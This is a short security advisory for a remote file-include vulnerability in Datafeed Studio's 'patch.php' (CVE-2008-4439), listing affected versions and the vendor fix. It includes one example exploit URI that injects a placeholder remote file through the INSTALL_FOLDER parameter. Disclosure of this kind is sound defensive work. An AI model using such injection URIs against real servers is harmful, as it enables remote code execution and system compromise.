Datafeed Studio 'patch.php' Remote File Include Vulnerability

Bugtraq ID:	30659
Class:	Input Validation Error
CVE:	CVE-2008-4439
Remote:	Yes
Local:	No
Published:	Aug 12 2008 12:00AM
Updated:	May 07 2015 05:24PM
Credit:	Bug Researchers Group
Vulnerable:	MartinWood Datafeed Studio 0
Not Vulnerable:	MartinWood Datafeed Studio 1.6.3

Datafeed Studio 'patch.php' Remote File Include Vulnerability

Datafeed Studio is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Datafeed Studio 'patch.php' Remote File Include Vulnerability

Attackers can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/admin/bin/patch.php?INSTALL_FOLDER=[Evilc0dE]

Datafeed Studio 'patch.php' Remote File Include Vulnerability

Solution:
The vendor has released Datafeed Studio 1.6.3 to address this issue. Please see the references for more information.

Datafeed Studio 'patch.php' Remote File Include Vulnerability

References:

• Datafeed Studio Homepage (MartinWood)
  
• Datafeed Studio v1.6.3 Released (Datafeed Studio)